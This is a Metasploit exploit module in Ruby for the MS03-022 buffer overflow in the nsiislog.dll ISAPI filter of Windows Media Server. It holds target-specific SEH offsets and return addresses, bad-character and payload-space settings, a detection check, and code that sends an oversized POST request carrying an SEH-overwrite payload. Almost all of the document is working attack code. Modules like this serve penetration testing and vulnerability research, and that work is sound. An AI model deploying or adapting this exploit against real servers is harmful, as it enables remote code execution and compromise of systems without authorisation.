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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = GoodRanking
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  include Msf::Exploit::Remote::HttpClient
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  include Msf::Exploit::Remote::BruteTargets
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  include Msf::Exploit::Remote::Seh
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'MS03-022 Microsoft IIS ISAPI nsiislog.dll ISAPI POST Overflow',
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        'Description' => %q{
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          This exploits a buffer overflow found in the nsiislog.dll
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          ISAPI filter that comes with Windows Media Server. This
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          module will also work against the 'patched' MS03-019
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          version. This vulnerability was addressed by MS03-022.
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        },
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        'Author' => [ 'hdm' ],
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        'License' => MSF_LICENSE,
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        'References' => [
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          [ 'CVE', '2003-0349'],
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          [ 'OSVDB', '4535'],
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          [ 'BID', '8035'],
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          [ 'MSB', 'MS03-022'],
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          [ 'URL', 'http://archives.neohapsis.com/archives/vulnwatch/2003-q2/0120.html'],
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        ],
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        'Privileged' => false,
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        'Payload' => {
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          'Space' => 1024,
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          'BadChars' => "\x00\x2b\x26\x3d\x25\x0a\x0d\x20",
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          'StackAdjustment' => -3500,
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        },
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        'Platform' => 'win',
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        'Targets' => [
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          # SEH offsets by version (Windows 2000)
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          # 4.1.0.3917 =  9992
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          # 4.1.0.3920 =  9992
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          # 4.1.0.3927 =  9992
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          # 4.1.0.3931 = 14092
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          ['Brute Force', {}],
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          ['Windows 2000 -MS03-019', { 'Rets' => [ 9988, 0x40f01333 ] }],
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          ['Windows 2000 +MS03-019', { 'Rets' => [ 14088, 0x40f01353 ] }],
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          ['Windows XP   -MS03-019', { 'Rets' => [ 9992, 0x40f011e0 ] }],
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        ],
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        'DisclosureDate' => '2003-06-25',
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        'DefaultTarget' => 0,
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        'Notes' => {
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          'Reliability' => UNKNOWN_RELIABILITY,
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          'Stability' => UNKNOWN_STABILITY,
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          'SideEffects' => UNKNOWN_SIDE_EFFECTS
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        }
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      )
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    )
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    register_options(
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      [
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        OptString.new('URL', [ true, "The path to nsiislog.dll", "/scripts/nsiislog.dll" ]),
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      ]
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    )
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  end
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  def check
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    res = send_request_raw({
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      'uri' => normalize_uri(datastore['URL'])
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    }, -1)
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    if (res and res.body =~ /NetShow ISAPI/)
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      return Exploit::CheckCode::Detected
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    end
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    return Exploit::CheckCode::Safe
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  end
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  def exploit_target(target)
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    # Create a buffer greater than max SEH offset (16384)
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    pst = rand_text_alphanumeric(256) * 64
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    # Create SEH frame and insert into buffer
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    seh = generate_seh_payload(target['Rets'][1])
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    pst[target['Rets'][0], seh.length] = seh
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    # Send it to the server
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    print_status("Sending request...")
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    res = send_request_cgi({
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      'uri' => normalize_uri(datastore['URL']),
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      'method' => 'POST',
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      'user-agent' => 'NSPlayer/2.0',
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      'content-type' => 'application/x-www-form-urlencoded',
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      'data' => pst
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    }, 5)
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    select(nil, nil, nil, 1)
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    handler
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    disconnect
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  end
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end
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